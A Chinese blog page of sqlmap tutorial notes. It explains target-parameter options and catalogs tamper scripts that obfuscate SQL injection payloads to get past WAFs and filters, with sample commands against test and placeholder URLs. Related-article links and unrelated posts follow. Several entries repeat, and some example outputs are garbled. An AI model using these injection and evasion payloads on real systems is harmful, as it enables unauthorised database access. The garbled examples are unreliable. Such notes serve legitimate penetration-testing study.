SQLMAP自注入--INJECTION TECGBUQUES FINGERPRINT
-p参数
指定扫描的参数 ,使--level失效
-p“user-agent,refer”这些参数也可以通过-p来指定
sqlmap.py -u "http://127.0.0.1/mutillidae/index.php?page=user-info.php&username=admin&password=admin&user-info-php-submit-button=View+Account+Details" -p "username,user-agent" --dbs
这里我们指定是对 参数 “username,user-agent”的扫描 虽然这里level没有指向到3 但是由于我们指定了 user-agent所以他还是回去扫描
--skip="id,user-agent" --level=5
这是一个排除指定扫描参数 除了skip值里面的参数 其他全部都扫描
sqlmap -u "畸形url值*”
这是一个变量的值 跟在/后面 所以 手动找出变量后 变量后面加*
--dbms 尝试每一种数据库
可以指定参数 --dbms="mysql" --os(指定操作系统) Linux 和windows --invalid-bignum / --invalid-logical 通常sqlmap使用负值使参数失效 id=->id=- bignum使用大数使参数失效id= Logical使用布尔判断使取值失效 --no-cast
可以关掉 榨取数据
--no-escape
出于混淆和避免出错的目的,paload中用单引号定字符串,sqlmap使用char()编码逃逸
select 'foo' --> select CHAR(102)+CHAR(111)+CHAR(111)
本参数是关闭此功能
--prefix/ --suffix
前缀和后缀
--prefix""这里我们插入的是’)一个单引号和括号 闭合ID的前缀
--suffix “”这里我们插入的事AND(’abc'='abc 用来是语句为真 并且闭合后面的括号
拼接后的语句在上图的最后一行
--tamper(经常使用 的脚本绕过 )
混淆脚本 ,用于绕过应用层过滤/ips
apostrophemask.py 用utf8代替引号 ("1 AND '1'='1")
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
base64encode.py 用base64编码替换 ("1' AND SLEEP(5)#")
'MScgQU5EIFNMRUVQKDUpIw=='
multiplespaces.py 围绕SQL关键字添加多个空格 ('1 UNION SELECT foobar')
'1 UNION SELECT foobar'
space2plus.py 用+替换空格 ('SELECT id FROM users')
'SELECT+id+FROM+users'
nonrecursivereplacement.py 双重查询语句。取代predefined SQL关键字with表示
suitable for替代(例如 .replace(“SELECT”、”")) filters ('1 UNION SELECT 2--')
'1 UNIOUNIONN SELESELECTCT 2--'
space2randomblank.py 代替空格字符(“”)从一个随机的空
白字符可选字符的有效集 ('SELECT id FROM users')
'SELECT%0Did%0DFROM%0Ausers'
unionalltounion.py 替换UNION ALL SELECT UNION SELECT ('-1 UNION ALL SELECT')
'-1 UNION SELECT'
securesphere.py 追加特制的字符串 ('1 AND 1=1')
"1 AND 1=1 and '0having'='0having'"
mssql space2hash.py 绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)
'1 AND 9227=9227'
'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'
equaltolike.py like 代替等号
* Input: SELECT * FROM users WHERE id=
* Output: SELECT * FROM users WHERE id LIKE
space2mssqlblank.py(mssql) 空格替换为其它空符号 Input: SELECT id FROM users
Output: SELECT%08id%02FROM%0Fusers
space2mssqlhash.py 替换空格 ('1 AND 9227=9227')
'1%23%0AAND%23%0A9227=9227'
between.py 用between替换大于号(>) ('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
percentage.py asp允许每个字符前面添加一个%号 * Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾 ('1 AND 9227=9227-- ')
'1 AND 9227=9227-- sp_password'
charencode.py url编码 * Input: SELECT FIELD FROM%20TABLE
* Output: %%%4c%%%%%%%%4c%%%%%4f%4d%%%%%4c%
randomcase.py 随机大小写 * Input: INSERT
* Output: InsERt
charunicodeencode.py 字符串 unicode 编码 * Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’ * Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
mysql >= 5.1. equaltolike.py like 代替等号
* Input: SELECT * FROM users WHERE id=
* Output: SELECT * FROM users WHERE id LIKE
greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。 ('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'
apostrophenullencode.py 绕过过滤双引号,替换字符和双引号。 tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271'
ifnull2ifisnull.py 绕过对 IFNULL 过滤。
替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’ ('IFNULL(1, 2)')
'IF(ISNULL(1),2,1)'
space2mssqlhash.py 替换空格 ('1 AND 9227=9227')
'1%23%0AAND%23%0A9227=9227'
modsecurityversioned.py 过滤空格,包含完整的查询版本注释 ('1 AND 2>1--')
'1 /*!30874AND 2>1*/--'
space2mysqlblank.py 空格替换其它空白符号(mysql) Input: SELECT id FROM users
Output: SELECT%0Bid%0BFROM%A0users
between.py 用between替换大于号(>) ('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
modsecurityzeroversioned.py 包含了完整的查询与零版本注释 ('1 AND 2>1--')
'1 /*!00000AND 2>1*/--'
space2mysqldash.py 替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’) ('1 AND 9227=9227')
'1--%0AAND--%0A9227=9227'
bluecoat.py 代替空格字符后与一个有效的随机空白字符的SQL语句。
然后替换=为like ('SELECT id FROM users where id = 1')
'SELECT%09id FROM users where id LIKE 1'
percentage.py asp允许每个字符前面添加一个%号 * Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
charencode.py url编码 * Input: SELECT FIELD FROM%20TABLE
* Output: %%%4c%%%%%%%%4c%%%%%4f%4d%%%%%4c%
randomcase.py 随机大小写 * Input: INSERT
* Output: InsERt
versionedkeywords.py Encloses each non-function keyword with versioned MySQL comment * Input: UNION ALL SELECT NULL, NULL, CONCAT(CHAR(,,,,),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR()),CHAR(,,,,))#
* Output: /*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/, CONCAT(CHAR(,,,,),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR()),CHAR(,,,,))#
space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’ * Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
charunicodeencode.py 字符串 unicode 编码 * Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
versionedmorekeywords.py 注释绕过 * Input: UNION ALL SELECT NULL, NULL, CONCAT(CHAR(,,,,),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR()),CHAR(,,,,))#
* Output: /*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(,,,,),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/()),/*!CHAR*/(,,,,))#
MySQL < 5.1 halfversionedmorekeywords.py 关键字前加注释 * Input: value’ UNION ALL SELECT CONCAT(CHAR(,,,,),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR()),CHAR(,,,,)), NULL, NULL# AND ‘QDWa’='QDWa
* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWa
20 halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加
mysql版本评论 1.("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
2."value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
MySQL >= 5.1.13 21 space2morehash.py 空格替换为 #号 以及更多随机字符串 换行符 * Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Oracle 1 greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。 ('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'
2 apostrophenullencode.py 绕过过滤双引号,替换字符和双引号。 tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271'
3 between.py 用between替换大于号(>) ('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
4 charencode.py url编码 * Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
5 randomcase.py 随机大小写 * Input: INSERT
* Output: InsERt
6 charunicodeencode.py 字符串 unicode 编码 * Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
7 space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’ * Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
PostgreSQL greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。 ('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'
apostrophenullencode.py 绕过过滤双引号,替换字符和双引号。 tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271'
between.py 用between替换大于号(>) ('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
percentage.py asp允许每个字符前面添加一个%号 * Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
charencode.py url编码 * Input: SELECT FIELD FROM%20TABLE
* Output: %%%4c%%%%%%%%4c%%%%%4f%4d%%%%%4c%
randomcase.py 随机大小写 * Input: INSERT
* Output: InsERt
charunicodeencode.py 字符串 unicode 编码 * Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’ * Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
Access appendnullbyte.py 在有效负荷结束位置加载零字节字符编码 ('1 AND 1=1')
'1 AND 1=1%00'
其他 chardoubleencode.py 双url编码(不处理以编码的) * Input: SELECT FIELD FROM%20TABLE
* Output: %%%254c%%%%%%%%254c%%%%%254f%254d%%%%%254c%
unmagicquotes.py 宽字符绕过 GPC addslashes * Input: ′ AND =
* Output: %bf% AND =–%20 多个一起使用的方法
sqlmap.py -u“1.1.1.1” --tamper "1.py,2.py,3.py" -v 3 --dbs他会按顺序使用这些脚本
使用sqlmap中tamper脚本绕过waf
11-03 7331
STL文件序列化读取
03-11 7571
VulnHub渗透实战Billu_b0x
06-06 1571
js获取浏览器信息和客户端硬件信息(一)
09-18 10931
用C语言实现有限状态机--读《C专家编程》
01-09 25979
sqlmap 绕过防火墙的tamper脚本大全
07-02 280
Sqlmap Tamper大全
08-10 2898
sqlmap注入之tamper绕过WAF防火墙过滤
05-19 8508
sqlmap tamper 细读
09-13 1407
SNMP协议详解<二>
10-29 150339
Java WEB 分页实现
04-16 29753
连续特征离散化和归一化
06-25 52357
【Unity3D Shader编程】之二 雪山飞狐篇:Unity的基本Shader...
11-09 81087
SQLMAP tamper WAF 绕过脚本列表注释
11-22 1785
sqlmap过waf脚本及目录介绍
04-26 3010
sqlmap 绕过防火墙的tamper脚本
07-12 2207
sqlmap 的源码学习笔记二之编写tamper脚本
08-21 3693
sqlmap中tamper脚本绕过waf、防火墙获得数据库信息
06-19 250
sqlmap的tamper问题
05-24 599
SQLMAP自带的绕过脚本 --tamper详解
03-04 42
SQLMAP渗透笔记之绕过WAF防火墙
12-26 4945
【渗透实战】sqlmap_修改tamper脚本_绕过WAF并制作通杀0day
02-14 685
WAF绕过的各种姿势
10-23 434
使用sqlmap 绕过防火墙进行注入测试
04-20 28117
【SQL注入/WAF】使用sqlmap 绕过防火墙进行注入测试
04-15 694
sqlmap tamper绕过WAF
01-07 868
SQLmap简介以及防火墙绕过方法
09-23 1220
WAF自动化暴破(绕过)脚本xwaf
02-23 1385
Sqlmap 使用tamper脚本绕过waf (一)
07-16 1033
深入理解SQL注入绕过WAF和过滤机制
03-13 7422
每当注入的时候看到这个贱贱的提示框,内心有千万只草泥马在奔腾。
但很多时候还是得静下来分析过滤系统到底过滤了哪些参数,该如何绕过。
sqlmap中的tamper给我们带来了很多防过滤的脚本,非常实用,可能有的朋友还不知道怎样才能最有效的利用tamper脚本。
当然使用脚本之前需要确定的就是系统过滤了哪些关键字,比如单引号、空格、select、union、admin等等。
所以有的时候我们会发现,注入成功了但是dump不出数据,很可能是select被过滤了等等原因。
如何判断使用哪个脚本
最简单的办法就是在url参数中手工带入关键词,判断是否被过滤。
如图:
直接加个单引号被过滤,说明注入时单引号是没法用的。
空格、等于号都没有过滤,成功报错。
select被过滤。
以此类推,当sqlmap注入出现问题时,比如不出数据,就要检查对应的关键词是否被过滤。
比如空格被过滤可以使用space2comment.py,过滤系统对大小写敏感可以使用randomcase.py等等。
下面对于sqlmap的tamper参数详细讲解。
使用方法
根据实际情况,可以同时使用多个脚本,使用-v参数可以看到payload的变化。
sqlmap.py -u "http://www.target.com/test.php?id=12" --dbms mysql --tamper "space2comment,versionedmorekeywords.py" -v 3 --dbs
SQLMAP自注入--INJECTION TECGBUQUES FINGERPRINT的更多相关文章
- 小白日记45:kali渗透测试之Web渗透-SqlMap自动注入(三)-sqlmap参数详解-Optimization,Injection,Detection,Techniques,Fingerprint
sqlmap自动注入 Optimization [优化性能参数,可提高效率] -o:指定前三个参数(--predict-output.--keep-alive.--null-connection) - ...
- 小白日记46:kali渗透测试之Web渗透-SqlMap自动注入(四)-sqlmap参数详解- Enumeration,Brute force,UDF injection,File system,OS,Windows Registry,General,Miscellaneous
sqlmap自动注入 Enumeration[数据枚举] --privileges -U username[CU 当前账号] -D dvwa -T users -C user --columns [ ...
- 小白日记44:kali渗透测试之Web渗透-SqlMap自动注入(二)-sqlmap参数详解REQUEST
Sqlmap自动注入(二) Request ################################################### #inurl:.php?id= 1. 数据段:--d ...
- 小白日记43:kali渗透测试之Web渗透-SqlMap自动注入(一)-sqlmap参数详解TARGET
SqlMap自动注入(一) sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞[动态页面中get/post参数.cookie.HTTP头].它由Python语言开发 ...
- dvwa——sql手动注入和sqlmap自动注入
手动注入 low: 源码: <?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; ...
- 注入(Injection)
注入(Injection)是: Java EE提供了注入机制,使您的对象能够获取对资源和其他依赖项的引用,而无需直接实例化它们.通过使用将字段标记为注入点的注释之一来装饰字段或方法,可以在类中声明所需 ...
- 风炫安全WEB安全学习第十八节课 使用SQLMAP自动化注入(二)
风炫安全WEB安全学习第十八节课 使用SQLMAP自动化注入(二) –is-dba 当前用户权限(是否为root权限) –dbs 所有数据库 –current-db 网站当前数据库 –users 所有 ...
- 风炫安全WEB安全学习第十七节课 使用Sqlmap自动化注入(一)
风炫安全WEB安全学习第十七节课 使用Sqlmap自动化注入(一) sqlmap的使用 sqlmap 是一个开源渗透测试工具,它可以自动检测和利用 SQL 注入漏洞并接管数据库服务器.它具有强大的检测 ...
- SQL学习之SqlMap SQL注入
sqlmap也是渗透中常用的一个注入工具,其实在注入工具方面,一个sqlmap就足够用了,只要你用的熟,秒杀各种工具,只是一个便捷性问题,sql注入另一方面就是手工党了,这个就另当别论了. 今天把我一 ...
随机推荐
- python 运算和流程控制
写在之前 今天突发奇想,想要弄一个微信自动抢红包的程序,首先去百度这个,找到了有两种方法 一种是安装「pocoui」这个第三方库,但没有给出详细代,我就没有使用这个方法. 我用使用的是第二种借助「Ai ...
- O016、搭建实验环境
参考https://www.cnblogs.com/CloudMan6/p/5350536.html 在学习 OpenStack 各服务之前,需要先搭建一个实验环境. 一个看得到摸得着而且能让 ...
- 一次MySQL两千万数据大表的优化过程,三种解决方案
问题概述 使用阿里云rds for MySQL数据库(就是MySQL5.6版本),有个用户上网记录表6个月的数据量近2000万,保留最近一年的数据量达到4000万,查询速度极慢,日常卡死.严重影响业务 ...
- CXF实现webService服务(一)
以前工作中也用CXF,但都是用别人现成搭好的环境,这次自己重头搭建一遍环境.过程中也有遇到的问题,也做了简单的整理. 对于CXF是干什么用的,我不想多说,大家都知道这是我们在Java编程中webSer ...
- 07 Python之协程
协程: 协程是一种用户态的轻量级线程, 即协程是由用户程序自己控制调度的 1.Greenlet import time # import greenlet from greenlet import g ...
- Flight HDU - 3499 (分层最短路)
Recently, Shua Shua had a big quarrel with his GF. He is so upset that he decides to take a trip to ...
- document.compatMode,quirks mode and standards mode
Document.compatMode Indicates whether the document is rendered in Quirks mode or Standards mode. Syn ...
- Js 实现 多个tr 点击变色,再点击还原
我用的是渲染页面,将自定义的值作为一个表示符判断当前状态 <!DOCTYPE html> <html> <head> <meta charset=" ...
- 使用Vue自定义组件时,报did you register the component correctly? For recursive components, make sure to provide the "name" option.(未注册组件)的原因之一
错误信息: [Vue warn]: Unknown custom element: <list> - did you register the component correctly? F ...
- 【LuoguP4081】[SCOI2015]小凸想跑步
题目链接 题意 给你一个凸多边形,求出在其内部选择一个点,这个点与最开始输入的两个点形成的三角形是以该点对凸多边形三角剖分的三角形中面积最小的一个三角形的概率. Sol 答案就是 可行域面积与该凸多边 ...